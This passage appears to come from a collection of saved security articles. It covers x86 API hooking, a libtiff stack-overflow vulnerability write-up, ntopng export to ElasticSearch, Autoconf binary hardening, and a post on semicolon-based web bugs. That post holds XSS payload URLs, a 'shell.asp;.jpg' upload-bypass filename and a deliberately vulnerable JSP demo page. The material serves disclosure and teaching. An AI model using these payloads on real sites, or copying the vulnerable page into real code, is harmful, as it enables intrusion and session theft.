normal jump with a 32bit relative offset at the place of the nop instructions.

And yet again, that’s all there is to this technique. Note that, instead of
Hotpatching such function, it is also possible to hook the function using one
of the other methods explained in this article by placing the hook on the
address _function+2_ , where two denotes the size of the instruction inserted
for Hotpatching. \(This way one could still apply a Hotpatch, even though we
already hook the function with one of our favourite methods.\)

An image representing Hotpatching is as follows, with _MessageBoxA_ being the
function to hook, and _hook\_MessageBoxA_ the function where execution goes
\(see it as MessageBoxA = function A, hook\_MessageBoxA = function B.\)

<img src='img/Temp2_10758.png' alt='hotpatching MessageBoxA' />

## Other Methods II: C++ Class Methods

This method is regarding the hooking of C++ Class Methods. These functions use
the so-called _\_\_thiscall_ \[5\] calling convention \(or, atleast they do on
windows.\)

This particular calling convention stores the object information \(which can
be referenced through the _this_ variable in class methods\) in the _ecx_
register before calling a class method. In other words, if we want to hook a
class method, it needs some special attention.

For further explanation we will be using the following code snippet, which
defines a function \(function\_A\) which we want to hook.

123456| `class` `A {``public``:`` ``void` `function_A(``int` `value, ``int`
`value2, ``int` `value3) {`` ``printf``(``"value: %d %d %d\n"``, value,
value2, value3);`` ``}``};`  
---|---  
Besides that, because we want to hook C++ functions using regular C functions,
we will be interested in having the _this_ pointer as first parameter to our
hook function. An example of our hooking function looks like the the
following, including call gate \(which will be discussed later as well.\) Note
that we use the variable name _self_ instead of _this_ , because _this_ is a
reserved keyword in C++.

123456789| `void` `(*function_A_gate)(``void` `*self, ``int` `value,`` ``int`
`value2, ``int` `value3);` `void` `function_B(``void` `*self, ``int` `value,``
``int` `value2, ``int` `value3)``{`` ``return` `function_A_gate(self, value +
1,`` ``value + 2, value + 3);``}`  
---|---  
In order to be able to hook C++ Class Methods from a normal C source we will
have to alter the stack a bit, because we have to squeeze the _this_ pointer
into it. The following image represents the stack layout when function\_A is
called, followed by the layout how we want it when function\_B is called \(the
hooking function.\) Note that _ecx_ contains the _this_ pointer, as outlined
before, and the fact that the top of the stack is at the address on which
_return\_address_ is located.

<img src='img/Temp2_10759.png' alt='thiscall stack layout' />

Fortunately for us, we can squeeze the _this_ pointer into the stack in
exactly two instructions, which is pretty neat. The first step is exchanging
the _this_ pointer \(the _ecx_ register\) and the top of the stack \(the
_return\_address_.\) After this swap we have the _this_ pointer at the top of
the stack, and the _return\_address_ in the _ecx_ register. From here on we
can simply push the _ecx_ register onto the stack, and the stack will look
exactly like what we wanted \(see the last image.\)

Following is the assembly representation of hooking a C++ class method.

<img src='img/Temp2_10752.png' alt='C++ Class Method method' />

So that’s the hooking part. However, we have to adjust our Call Gate as well,
because the Call Gate accepts a _this_ pointer as first argument. The stack of
what we have and what we want is as follows. \(The _this_ value should
obviously be stored into the _ecx_ register afterwards.\)

<img src='img/Temp2_10755.png' alt='thiscall gate stack layout' />

We do exactly the opposite of what we did to hook the function; we first pop
the _return\_address_ off the stack, so the top of the stack points to _this_
, and the _ecx_ register is loaded with the _return\_address_. Now we swap the
top of the stack and the _ecx_ register, after which the stack looks as we
want, and the _ecx_ register is loaded with the _this_ pointer. The following
image shows the Call Gate, although the instructions from function A have been
omitted \(i.e. this image only shows what’s special about C++ Class Method
Gate, not what we discussed earlier at Call Gates.\)

<img src='img/Temp2_10762.png' alt='C++ Class Method Gate' />

## Constructing Call Gates

In an earlier section, Call Gates, we discussed how a Call Gate should be
made. In this section we will discuss some edge-cases, which should be taken
into account when constructing a Call Gate.

The basics of constructing a Call Gate are as follows. We have a function
\(function A\) which we want to hook, and we have a hooking method. We will
use the simplest hooking method now; the direct jump, which is five bytes in
size. As we will be overwriting the first five instructions of function A, we
will have to take atleast the instructions which are located in the first five
bytes of this function. However, it is possible that the last instruction in
these five bytes is fairly long, e.g. it spans over byte three upto the sixth
byte, which is the case in the example we used earlier \(here is the image
again, so you can see it again.\)

<img src='img/Temp2_10764.png' alt='Call Gate for function A' />

As you can see, the third instruction also uses the sixth byte, due to this we
cannot simply copy the first five bytes, but instead we have to copy the
entire instruction. In order to do this we use a so-called _LDE_ , which is
short for **Length Disassembler Engine**. An LDE has the ability to calculate
the length of an instruction \(usually by doing some magic with a pre-defined
table containing information about each opcode.\)

As an LDE can calculate the length of an instruction for us, we can simply
keep getting the length of instructions until we’ve found enough instructions
which account for atleast five bytes. In the example image above it took us
three instructions to get to a length of six, after which we have found enough
instructions for the Call Gate.

This was the easy part, because the instructions which we found didn’t contain
any branches. However, any jump, call or return instructions need some special
attention as well. To start off, jump and call instructions need to point to
the same address in the Call Gate as they did in the original function,
although this is not too hard if you use like two formulas \(one to obtain the
address of a jump or call instruction, and one to calculate the relative
offset for the jump or call instruction which will be placed in the Call
Gate.\) Also note that any jumps that have an 8bit relative offset, should be
turned into jump instructions with 32bit relative offsets \(it is quite
unlikely that the relative offset between the Call Gate and the original
function is within the range of an 8bit offset.\)

This is brings us to the last point; it is sometimes possible that there is
simply **not enough space for our hooking method**. This happens when there is
either an unconditional jump instruction, or a return instruction. Such
situation occurs when we’ve simply hit the end of a function, e.g. a totally
different function might start at the address after a return instruction, so
we can’t overwrite such memory. The same goes for an unconditional jump, this
function won’t continue after an unconditional jump, so overwriting behind
this instruction would result in _undefined behaviour_.

## Multiple Layers of Hooks

It is perfectly possible to have multiple layers of hooks, i.e. multiple hooks
on one function. There is only one condition which must apply; when installing
a new hook over an existing hook, then you will have to make sure that the
required length of the new hook is equal to, or lower than, the length of the
existing hook. For more explanation about this, refer to the Constructing Call
Gates section. In any case, a normal direct jump with 32bit relative offset
should suffice, as it’s \(normally\) the hook with the shortest length in
bytes.

## Preventing Hook Recursion

Last, but not least, some thoughts regarding Hooking Recursion. Sometimes it
is possible that within a hooking function, function B in our examples, one
uses functions such as logging to a file. However, what happens if such
function ends up in the same, or another, hook of ours? This might lead to a
recursive hook, i.e. a hook might keep hooking itself.. or one hook leads to
another hook. This is **not** what we want, besides that it is also very
annoying \(been there, done that.\)

So, basically, what we will want to do to prevent such problem is keeping a
_hook count_. Whenever a hook is executed, a check is done against the hook
count \(and, obviously, the _hook count_ is increased when entering a hook.\)
This way we can tell the hooking engine two things. The first being, once a
hook has occurred don’t hook any lower hooks \(e.g. if we hook the fwrite\(\)
function, and we call fwrite\(\) in it’s hook, then the hook should not be
executed.\) The second ability is to give a maximum recursion count, e.g. hook
upto three hooks deep. Although this is still not desired functionality,
usually.

Also, do note that, such hook count should be thread-specific. To solve this,
the production code which will be shown in the Proof of Concept section stores
the _hook count_ in the segment pointed to by the _fs_ register \[6\] \(this
section denotes the Thread Information Block, i.e. thread specific data.\)

## Proof of Concept

As Proof of Concept for today’s post we will introduce the reader to Cuckoo
Sandbox, a system for automated malware analysis. In Cuckoo’s relatively new
analysis component, we have deployed techniques from this post. For example,
it still uses the direct 32bit jump, but it has a fairly nice engine for
constructing Call Gates and it supports Prevention of Hook Recursion.

Current source can be found here, although it will be in here soon enough. For
the implementation of methods described in this post, please refer to the
hooking.c file.

## References

  1. Hooking – Wikipedia
  2. API Hooking Revealed – CodeProject
  3. Instruction Pointer / Program Counter – Wikipedia
  4. Rootkit Detector – GMER
  5. Thiscall Calling Convention – Nynaeve
  6. Win32 Thread Information Block – Wikipedia

This entry was posted in Uncategorized by jbremer. Bookmark the permalink.

##  2 thoughts on “x86 API Hooking Demystified”

  1. Pingback: x86 API Hooking Demystified | ITSecurity | Scoop.it
  2. Pingback: x86 API Hooking Demystified | Development & Security | Frishit Security | Scoop.it

### Leave a Reply

# Dan Rosenberg's blog: Breaking LibTIFF

**Created:**| _7/1/2010 10:27:02 AM_  
---|---  
**Updated:**| _7/4/2010 8:03:26 AM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability awesome_  
  

### Breaking LibTIFF

In this post I'll be providing details on a vulnerability I discovered in
libtiff, which was recently made public with CVE-2010-2067. libtiff is linked
into a wide range of applications, including browsers, document viewers, file
browsers, and image software, and it might even be possible to leverage this
bug to achieve code execution on embedded devices.  
  
The vulnerability only affects libtiff version 3.9.2, which was the stable
release of libtiff from November 2009 until this past week. The impact is
arbitrary code execution when processing a maliciously crafted TIFF image
using any software linked against libtiff. Code execution bugs in image
libraries are serious to begin with, but there are several factors that make
this bug especially exploitable:  
  
1\. It is a stack-based overflow. Many classic heap-based overflows are now
difficult or impossible to exploit in practice, especially on Unix-based
systems.  
  
2\. The overflowed buffer is statically allocated as an integer array with two
elements, which means that there are no stack cookies inserted into the
vulnerable function in many cases. Most compilers only include stack canaries
in functions with statically declared arrays of a certain minimum size,
usually greater than the size of this array. For example, this setting can be
controlled in gcc using the "ssp-buffer-size" setting.  
  
3\. It is a memcpy\(\) based overflow of arbitrary size, where the source is
the attacker-controlled file. This means that null bytes are perfectly
acceptable, and that an essentially arbitrary amount of the stack can be
written by arbitrary data, with absolutely no character restrictions.  
  
4\. Large portions of the TIFF file are mapped to reliable static addresses.  
  
Put together, these factors allow for reasonably robust exploits. For my
proof-of-concept, I developed an exploit for the tiffinfo tool provided with
libtiff that works on Linux systems with ASLR and no NX support, but depending
on the application that libtiff is linked against, I would expect it to be
possible to write a reliable ROP exploit that works on platforms with NX/DEP.  
  
The vulnerability is in libtiff/tif\_dirread.c, which handles reading and
processing TIFF directory entries. TIFF directory entries are stored in a
table in the TIFF header, and provide indexing and type information used when
processing TIFF metadata. The TIFFDirEntry struct is declared in
libtiff/tiff.h:  
  
typedef struct \{  
  uint16 tdir\_tag; /\* tag \*/  
  uint16 tdir\_type; /\* data type \*/  
  uint32 tdir\_count; /\* number of items; length in spec \*/  
  uint32 tdir\_offset; /\* byte offset to field data \*/  
\} TIFFDirEntry;  
  
The vulnerability is reachable via the TIFFReadCustomDirectory\(\) function,
which is invoked by TIFFReadEXIFDirectory\(\). This function is used to
sequentially read and process tags containing EXIF metadata in a TIFF image
file. In the TIFFReadCustomDirectory\(\) function, we notice a special case
for a certain tag type:  
  
/\*  
 \* EXIF tags which need to be specifically processed.  
 \*/  
switch \(dp->tdir\_tag\) \{  
  case EXIFTAG\_SUBJECTDISTANCE:  
    \(void\) TIFFFetchSubjectDistance\(tif, dp\);  
    break;  
  
The TIFFFetchSubjectDistance\(\) function looks like this:  
  
static int  
TIFFFetchSubjectDistance\(TIFF\* tif, TIFFDirEntry\* dir\)  
\{  
  uint32 l\[2\];  
  float v;  
  int ok = 0;  
  
  if \(TIFFFetchData\(tif, dir, \(char \*\)l\)  
  && cvtRational\(tif, dir, l\[0\], l\[1\], &v\)\) \{  
  /\*  
   \* XXX: Numerator 0xFFFFFFFF means that we have infinite  
   \* distance. Indicate that with a negative floating point  
   \* SubjectDistance value.  
   \*/  
    ok = TIFFSetField\(tif, dir->tdir\_tag,  
    \(l\[0\] \!= 0xFFFFFFFF\) ? v : -v\);  
  \}  
  
  return ok;  
\}  
  
The l\[\] array is allocated on the stack, and populated using
TIFFFetchData\(\), passing the current TIFFDirEntry struct as an argument.
Here's where the problem is: the TIFFFetchData\(\) function uses the
tdir\_count member of the TIFFDirEntry struct to determine the amount of data
to be copied into its argument:  
  
static tsize\_t  
TIFFFetchData\(TIFF\* tif, TIFFDirEntry\* dir, char\* cp\)  
\{  
  uint32 w = TIFFDataWidth\(\(TIFFDataType\) dir->tdir\_type\);  
  
  uint32 cc = dir->tdir\_count \* w;  
  
  /\* Various checks for integer overflows   
   \* in the above calculation \*/  
  ...  
  
  \_TIFFmemcpy\(cp, tif->tif\_base + dir->tdir\_offset, cc\);  
  
  
The TIFFFetchData\(\) function expects this count to have been validated to
prevent overflows before being called, but as we can see above, no such
validation takes place for this particular tag. To exploit this, all we need
to do is create an EXIF directory entry with a tdir\_tag of
EXIFTAG\_SUBJECTDISTANCE \(defined as 37382 = 0x9206\), the appropriate
matching tdir\_type for this tag \(TIFF\_RATIONAL, defined as 0x5\), and a
tdir\_count value large enough to overflow this buffer and overwrite the saved
return address on the stack. The tdir\_offset member should point to a
location in the TIFF file where we expect data to be copied from onto the
stack.  
  
I experienced one minor hassle during exploit development for this bug. The
current TIFF struct is dereferenced several times before returning from the
vulnerable function, so if you overflow the stack without considering this, an
out-of-bounds read will likely take place and the function will never return.
Fortunately, in my testing this TIFF struct was always mapped to a static
address, so it was trivial to replace appropriate bytes in the TIFF file such
that the overflow does not alter the address of this struct, and execution
will continue as normal.  
  
This vulnerability might look familiar to those who remember Tavis
Ormandy's CVE-2006-3459. That's because the code path is nearly identical - in
Tavis's vulnerability, a lack of validation on the tdir\_count value in
TIFFFetchShortPair\(\) led to a similar stack overflow.

Posted by Dan Rosenberg at 9:00 AM 

  *[9:00 AM]: 2010-06-29T09:00:00-07:00

# Exploring your traffic using ntopng with ElasticSearch+Kibana

**Created:**| _1/26/2016 6:20:54 PM_  
---|---  
**Updated:**| _1/26/2016 6:20:54 PM_  
**Author:**| __  
**Tags:**| __  
  
  

# Exploring your traffic using ntopng with ElasticSearch+Kibana

Posted June 3, 2015 ·

ntopng allows you to export monitoring data do external sources. For low-
traffic sites, SQLite and the ntopng historical interface can be a good
option. As your traffic increases you are forced to put your data on a
database if you care about performance and long-term data persistency.  
In future ntopng versions we will add support for additional databases, but
for the time being we decided to start with the ELK \(ElasticSearch + LogStash
+ Kibana\) paradigm. In this case ElasticSearch \(ES\) is the database
backend, and Kibana the GUI used to report data. As ntopng is able to natively
export data in ElasticSearch, we do not need to use LogStash at all.

Supposed you have installed your ElasticSearch and Kibana instance on host XYZ
\(that can very well be the same host where ntopng is running\) all you need
to do to start data export is to start ntopng as follows:

ntopng -F “es;<ES Index Type>;<ES Index Name>;<ES URL>;<ES pwd>”

so something like this should work for most of you

ntopng -F “es;flows;ntopng-%Y.%m.%d;http://XYZ:9200/\_bulk;”

In ES parlance an index is what a table is on a relational database. In order
to avoid putting all data in a single index \(ES can harvest old data with you
by configuring the data retention\), ntopng will create a daily index
automatically for you by using the index name specified on the command line.
By default \(unless you configure it\) ES does not use a password to protect
data, so you can leave the password field blank. Make sure that you do not
change the /\_bulk/ URL as ES likes it that way \(of course you can change the
host name and port\).

Once started, ntopng will push ES flows that are expired or periodically send
\(every 5 mins\) partial flows for long lasting flows. By connecting to Kibana
using a web browser you can immediately start seeing incoming flows appear in
realtime.

<img src='img/Screen-Shot-2015-06-03-at-12.33.11.png' width='710' height='307'
alt='ntopng and Kibana' />

You can click on each individual flow and display all the flow attributes

<img src='img/Screen-Shot-2015-06-03-at-12.37.27.png' width='247' height='300'
alt='Flow attributes' />

Now it is time you to create a custom dashboard and report you data on a
graphical interface.

A good starting point is Qbana, a github project designed to display
monitoring data produced by ntopng/nProbe using Kibana

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f396758544b43642e706e67.png'
width='500' height='738' alt='Qbana' />

We would be delighted if ntop users could contribute with Kibana dashboards
that we could share inside the community. So please be generous and send us
your contribution that we’ll then share with the ntop community.

### _Related_

Using ntopng \(pre\) 2.0 on a Ubiquity EdgeRouterApril 9, 2015In "ntopng"

Exploring Historical Data Using ntopngOctober 11, 2015In "ntopng"

Using ntop Applications with Docker and OpenStackNovember 4, 2014In "ntopng"

  

# main is usually a function: Automatic binary hardening with Autoconf

**Created:**| _5/20/2012 4:30:29 PM_  
---|---  
**Updated:**| _5/20/2012 4:30:29 PM_  
**Author:**| __  
**Tags:**| _build development-process hardending_  
  

##

###  Automatic binary hardening with Autoconf

How do you protect a C program against memory corruption exploits? We should
try to write code with no bugs, but we also need protection against any bugs
which may lurk. Put another way, I try not to crash my bike but I still wear a
helmet.

Operating systems now support a variety of tricks to make life difficult for
would-be attackers. But most of these hardening features need to be enabled at
compile time. When I started contributing to Mosh, I made it a goal to build
with full hardening on every platform, not just proactive distributions like
Ubuntu. This means detecting available hardening features at compile time.

Mosh uses Autotools, so this code is naturally part of the Autoconf script. I
know that Autotools has a bad reputation in some circles, and I'm not going to
defend it here. But a huge number of existing projects use Autotools. They can
benefit today from a drop-in hardening recipe.

I've published an example project which uses Autotools to detect and enable
some binary hardening features. To the extent possible under law, I waive all
copyright and related or neighboring rights to the code I wrote for this
project. \(There are some third-party files in the `m4/` subdirectory; those
are governed by the respective licenses which appear in each file.\) I want
this code to be widely useful, and I welcome any refinements you have.

This article explains how my auto-detection code works, with some detail about
the hardening measures themselves. If you just want to add hardening to your
project, you don't necessarily need to read the whole thing. At the end I talk
a bit about the performance implications.

# How it works

The basic idea is simple. We use `AX_CHECK_{COMPILE,LINK}_FLAG` from the
Autoconf Archive to detect support for each feature. The syntax is

`AX_CHECK_COMPILE_FLAG`\(_flag_ , _action-if-supported_ , _action-if-
unsupported_ , _extra-flags_\)

For _extra-flags_ we generally pass `-Werror` so the compiler will fail on
unrecognized flags. Since the project contains both C and C++ code, we check
each flag once for the C compiler and once for the C++ compiler. Also, some
flags depend on others, or have multiple alternative forms. This is reflected
in the nesting structure of the _action-if-supported_ and _action-if-
unsupported_ blocks. You can see the full story in `configure.ac`.

We accumulate all the supported flags into `HARDEN_{C,LD}FLAGS` and substitute
these into each `Makefile.am`. The hardening flags take effect even if the
user overrides `CFLAGS` on the command line. To explicitly disable hardening,
pass

[code]

    ./configure --disable-hardening
[/code]

A useful command when testing is

[code]

    grep HARDEN config.log
    
    
[/code]

# Complications

Clang will not error out on unrecognized flags, even with `-Werror`. Instead
it prints a message like

[code]

    clang: warning: argument unused during compilation: '-foo'
[/code]

and continues on blithely. I don't want these warnings to appear during the
actual build, so I hacked around Clang's behavior. The script `wrap-compiler-
for-flag-check` runs a command and errors out if the command prints a line
containing "`warning: argument unused`". Then `configure` temporarily sets

[code]

    CC="$srcdir/scripts/wrap-compiler-for-flag-check $CC"
[/code]

while performing the flag checks.

When I integrated hardening into Mosh, I discovered that Ubuntu's default
hardening flags conflict with ours. For example we set `-Wstack-protector`,
meaning "warn about any unprotected functions", and they set `--param=ssp-
buffer-size=4`, meaning "don't protect functions with fewer than 4 bytes of
buffers". Our stack-protector flags are strictly more aggressive, so I
disabled Ubuntu's by adding these lines to `debian/rules`:

[code]

    export DEB_BUILD_MAINT_OPTIONS = hardening=-stackprotector
    -include /usr/share/dpkg/buildflags.mk
[/code]

We did something similar for Fedora.

Yet another problem is that Debian distributes skalibs \(a Mosh dependency\)
as a static-only library, built without `-fPIC`, which in turn prevents Mosh
from using `-fPIC`. Mosh can build the relevant parts of skalibs internally,
but Debian and Ubuntu don't want us doing that. The unfortunate solution is
simply to reimplement the small amount of skalibs we were using on Linux.

# The flags

Here are the specific protections I enabled.

  * `-D_FORTIFY_SOURCE=2` enables some compile-time and run-time checks on memory and string manipulation. This requires `-O1` or higher. See also `man 7 feature_test_macros`.
  * `-fno-strict-overflow` prevents GCC from optimizing away arithmetic overflow tests.
  * `-fstack-protector-all` detects stack buffer overflows after they occur, using a stack canary. We also set `-Wstack-protector` \(warn about unprotected functions\) and `--param ssp-buffer-size=1` \(protect regardless of buffer size\). \(Actually, the "`-all`" part of `-fstack-protector-all` might imply `ssp-buffer-size=1`.\)
  * Attackers can use fragments of legitimate code already in memory to stitch together exploits. This is much harder if they don't know where any of that code is located. Shared libraries get random addresses by default, but your program doesn't. Even an exploit against a shared library can take advantage of that. So we build a position independent executable \(PIE\), with the goal that _every_ executable page has a randomized address.
  * Exploits can't overwrite read-only memory. Some areas could be marked as read-only except that the dynamic loader needs to perform relocations there. The GNU linker flag `-z relro` arranges to set them as read-only once the dynamic loader is done with them.
In particular, this can protect the PLT and GOT, which are classic targets for
memory corruption. But PLT entries normally get resolved on demand, which
means they're writable as the program runs. We set `-z now` to resolve PLT
entries at startup so they get RELRO protection.

In the example project I also enabled `-Wall -Wextra -Werror`. These aren't
hardening flags and we don't need to detect support, but they're quite
important for catching security problems. If you can't make your project
`-Wall`-clean, you can at least add security-relevant checks such as
`-Wformat-security`.

# Demonstration

On x86 Linux, we can check the hardening features using Tobias Klein's
checksec.sh. First, as a control, let's build with no hardening.

[code]

    $ ./build.sh --disable-hardening
    + autoreconf -fi
    + ./configure --disable-hardening
    ...
    + make
    ...
    $ ~/checksec.sh --file src/test
    No RELRO       No canary found  NX enabled  No PIE
    
[/code]

The no-execute bit \(NX\) is mainly a kernel and CPU feature. It does not
require much compiler support, and is enabled by default these days. Now we'll
try full hardening:

[code]

    $ ./build.sh
    + autoreconf -fi
    + ./configure
    ...
    checking whether C compiler accepts -fno-strict-overflow... yes
    checking whether C++ compiler accepts -fno-strict-overflow... yes
    checking whether C compiler accepts -D_FORTIFY_SOURCE=2... yes
    checking whether C++ compiler accepts -D_FORTIFY_SOURCE=2... yes
    checking whether C compiler accepts -fstack-protector-all... yes
    checking whether C++ compiler accepts -fstack-protector-all... yes
    checking whether the linker accepts -fstack-protector-all... yes
    checking whether C compiler accepts -Wstack-protector... yes
    checking whether C++ compiler accepts -Wstack-protector... yes
    checking whether C compiler accepts --param ssp-buffer-size=1... yes
    checking whether C++ compiler accepts --param ssp-buffer-size=1... yes
    checking whether C compiler accepts -fPIE... yes
    checking whether C++ compiler accepts -fPIE... yes
    checking whether the linker accepts -fPIE -pie... yes
    checking whether the linker accepts -Wl,-z,relro... yes
    checking whether the linker accepts -Wl,-z,now... yes
    ...
    + make
    ...
    $ ~/checksec.sh --file src/test
    Full RELRO     Canary found     NX enabled  PIE enabled
    
[/code]

We can dig deeper on some of these. `objdump -d` shows that the unhardened
executable puts `main` at a fixed address, say `0x4006e0`, while the position-
independent executable specifies a small offset like `0x9e0`. We can also see
the stack-canary checks:

[code]

    b80:  sub   $0x18,%rsp
    b84:  mov   %fs:0x28,%rax
    b8d:  mov   %rax,0x8(%rsp)
    
          ... function body ...
    
    b94:  mov   0x8(%rsp),%rax
    b99:  xor   %fs:0x28,%rax
    ba2:  jne   bb4 <c_fun+0x34>
    
          ... normal epilogue ...
    
    bb4:  callq 9c0 <__stack_chk_fail@plt>
[/code]

The function starts by copying a "canary" value from `%fs:0x28` to the stack.
On return, that value had better still be there; otherwise, an attacker has
clobbered our stack frame.

The canary is chosen randomly by glibc at program start. The `%fs` segment has
a random offset in linear memory, which makes it hard for an attacker to
discover the canary through an information leak. This also puts it within
thread-local storage, so glibc could use a different canary value for each
thread \(but I'm not sure if it does\).

The hardening flags adapt to any other compiler options we specify. For
example, let's try a static build:

[code]

    $ ./build.sh LDFLAGS=-static
    + autoreconf -fi
    + ./configure LDFLAGS=-static
    ...
    checking whether C compiler accepts -fPIE... yes
    checking whether C++ compiler accepts -fPIE... yes
    checking whether the linker accepts -fPIE -pie... no
    ...
    + make
    ...
    $ file src/test
    src/test: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
    statically linked, for GNU/Linux 2.6.26, not stripped
    $ ~/checksec.sh --file src/test
    Partial RELRO  Canary found     NX enabled  No PIE
    
[/code]

We can't have position independence with static linking. And `checksec.sh`
thinks we aren't RELRO-protecting the PLT — but that's because we don't have
one.

# Performance

So what's the catch? These protections can slow down your program
significantly. I ran a few benchmarks for Mosh, on three test machines:

  * A wimpy netbook: 1.6 GHz Atom N270, Ubuntu 12.04 `i386`
  * A reasonable laptop: 2.1 GHz Core 2 Duo T8100, Debian sid `amd64`
  * A beefy desktop: 3.0 GHz Phenom II X6 1075T, Debian sid `amd64`

In all three cases I built Mosh using GCC 4.6.3. Here's the relative slowdown,
in percent.

Protections |  Netbook |  Laptop |  Desktop   
---|---|---|---  
Everything |  16.0 |  4.4 |  2.1   
All except PIE |  4.7 |  3.3 |  2.2   
All except stack protector |  11.0 |  1.0 |  1.1   
PIE really hurts on `i386` because data references use an extra register, and
registers are scarce to begin with. It's much cheaper on `amd64` thanks to PC-
relative addressing.

There are other variables, of course. One Debian stable system with GCC 4.4
saw a 30% slowdown, with most of it coming from the stack protector. So this
deserves further scrutiny, if your project is performance-critical. Mosh
doesn't use very much CPU anyway, so I decided security is the dominant
priority.

# Three Semicolon Vulnerabilities « Superevr

**Created:**| _10/25/2011 9:24:59 AM_  
---|---  
**Updated:**| _10/25/2011 9:24:59 AM_  
**Author:**| __  
**Tags:**| _vulnerability xss_  
  

## Three Semicolon Vulnerabilities

<img src='https://superevr.com/blog/wp-content/uploads/2011/10/semicolon.png'
width='175' height='162' alt='semicolon' />

I have three new web bugs to demonstrate. Each of them take advantage of how a
semicolon character is interpreted by a web server or browser. Each of these
bugs can be demonstrated on the latest release of Apache Tomcat 7.0.22, and
the latest browsers. Exploitation of these bugs requires unique issues on a
vulnerabile website.

Continue reading or skip to the Proof of Concept page

### 1\. XSS via Request URI: Avoiding "Page Not Found" Errors With Path
Parameters

Apache Tomcat is one example of a web server that supports "Path Parameters".
A path parameter is extra content after a file name, separated by a semicolon.
Any arbitrary content after a semicolon does not affect the landing page of a
web browser. This means that http://example.com/index.jsp;derp will still
return index.jsp, and not some error page. If a web application was written to
reflect the "requestURI" onto a page, then an attacker can take advantage of
the misstep.

http://example.com/payments.jsp;'\);alert\(1\);//

Another strange thing I found while writing this is that the path parameter
can even go before the actual file:

http://example.com/;';alert\(1\)//payments.jsp

**Mitigation:**

Use getServletPath\(\) instead of getRequestURI\(\)

### 2\. XSS via Logged in URL: Apache Tomcat Encoded URL's

Apache Tomcat is an implementation of the Java Servlet and JavaServer Pages
technologies. By default, this technology assigns a JSESSIONID cookie to each
visitor as a unique identifier. Java Servlets have a unique feature that allow
the JSESSIONID to be included as part of the URL when separated by a
semicolon, instead of the standard hidden HTTP Request header. Presumably this
is to support browsers that can't store cookies, but I was not able to
determine exactly why it supports this crazy feature. Here's an example of
what an encoded URL might look like:

http://example.com/index.jsp;JSESSIONID=A2C1F690F7DA38D6742282B1FC7B9434

Unfortunately, this feature can be abused. If an attacker wanted to start a
phishing campaign for a vulnerable website where he had only found XSS on an
authenticated portion of the website, he could insert his own valid session
identifier in the URL to initiate attacks.The attackers crafted URL could look
something like this:

http://example.com/admin.jsp;JSESSIONID=A2C1F690F7DA38D6742282B1FC7B9434?s="><script>alert\(1\)</script>

**Mitigation:**

I'm not sure how to disable the use of the JSESSIONID in the URL, so if you
know how please leave a note in the comments and I will update the post.

### 3\. MIME Type Detection Manipulation

This one is big. So we know that Apache Tomcat allows Path Parameters after a
semicolon, and any arbitrary text can be added after a filename.
Unfortunately, Internet Explorer doesn't take this into consideration and
actually uses what it thinks is the file extension as one of the factors when
determining file MIME type. MIME type is what tells Internet Explorer whether
to open content as a webpage, or a downloadable file, or display it as an
image, or run as JavaScript. An attacker can take advantage of Internet
Explorer's built in MIME Type Detection, and exploit an XSS vulnerability.
This is how it works:

An attacker has found what appears to be HTML code injection on a website, but
the injection is wrapped in JSON punctuation, or the attacker found file
upload functionality, but the extension is restricted to .doc, or .zip, etc.
Either way, the web server will attempt to specify the correct content with a
response header "Content-Type: application/json", which prevents most browsers
from rendering any HTML or JavaScript within the response. In IE 6, 7, 8, and
even 9, a file extension provided after the URL redefines the MIME type IE
uses. If the attacker can trick IE into loading the file as HTML, the attacker
can include malicious JavaScript to execute. The crafted url would look
something like this:

http://example.com/search/derp/results.zip;.html

This trick appears to work with many file types: .doc, .flv, .jar, .pdf, .zip,
.swf; basically anything except images.

The same trick apparently works on PHP sites as well, as documented on IBM's
Watchfire blog. In PHP, Path Parameters are passed after a page with "/"
instead of a semicolon.

This is very similar to a previous vulnerability, CVE-2009-4444: IIS 6
Filename Parsing Flaw. It's a bit old, and has been patched, but it's still an
excellent flaw to test for in web applications. With the use of a semicolon,
attackers can bypass file extension verification performed by applications
running on Microsoft IIS. If the application only allowed users to upload
files with the ".jpg" extension, an attacker could attempt to upload a file
called "shell.asp;.jpg". A flaw was discovered where the web application would
read the file name and see the file as a .jpg image, while the IIS server
would recognize all of the text leading up the semicolon, and consider the
file to be an ASP file. When accessed, the IIS server would run the malicious
code inside of the file, instead of storing a benign image.

**Mitigation:**

Content sniffing is a longstanding behavior in Internet Explorer. To prevent
exploitation of this vulnerability web application developers are encouraged
to use the following headers where appropriate:

"X-Content-Type-Options: nosniff"  
"X-Download-Options: noopen"  
"Content-Disposition: attachment; filename=untrustedfile.html"

I wrote a proof of concept page to demonstrate these vulnerabilities, but I
will only be hosting it temporarily here. After checking out the demo page,
check out the source code:

[code]

    <%@ page session="true" %>
    <!DOCTYPE html>
    <html>
    <% response.setHeader("X-XSS-Protection","0"); %>
    <head>
    <title>Semicolon Jacking</title>
    </head>
    <body>
    <%
    if ( session.getLastAccessedTime() <= session.getCreationTime() ) {
    out.println("You are not logged in!<br/><br/>");
    }
    else if ( session.getLastAccessedTime() > session.getCreationTime() ) {
    out.println("You are logged in!<br/>");
    out.println("Reflected Paramter: "+request.getParameter("xss")+"<br/><br/>");
    }
    %>
    <script>var pageUri = '${pageContext.request.requestURI}';</script>
    <br/>1. XSS via Request URI (Webkit/IE/Opera):<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/semicolon.jsp;';alert('xss1')-'">/semicolon.jsp;';alert('xss1')-'</a>
    <br/>
    <%
    String originalURL = "/semicolon.jsp?xss=%3cimg%20src%3dx%20onerror%3dalert(/xss2/)%3e";
    String encodedURL = response.encodeURL(originalURL);
    out.println("<br/>2. XSS via Logged in URL:<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href=\""+encodedURL+"\">"+encodedURL+"</a>");
    %>
    <br/><br/>3. MIME Type Detection Manipulation (IE Only):<br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.zip;.html">/xss.zip;.html</a>
    </br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.jar;.html">/xss.jar;.html</a>
    <br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.doc;.html">/xss.doc;.html</a>
    <br/>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/xss.exe;.html">/xss.exe;.html</a>
    <br/>
    <br/>
    <br/><br/><br/>DEBUG:
    <br/>X-XSS-Protection: 0
    <br/>session.id: ${pageContext.session.id}
    <br/>session.lastAccessedTime: ${pageContext.session.lastAccessedTime}
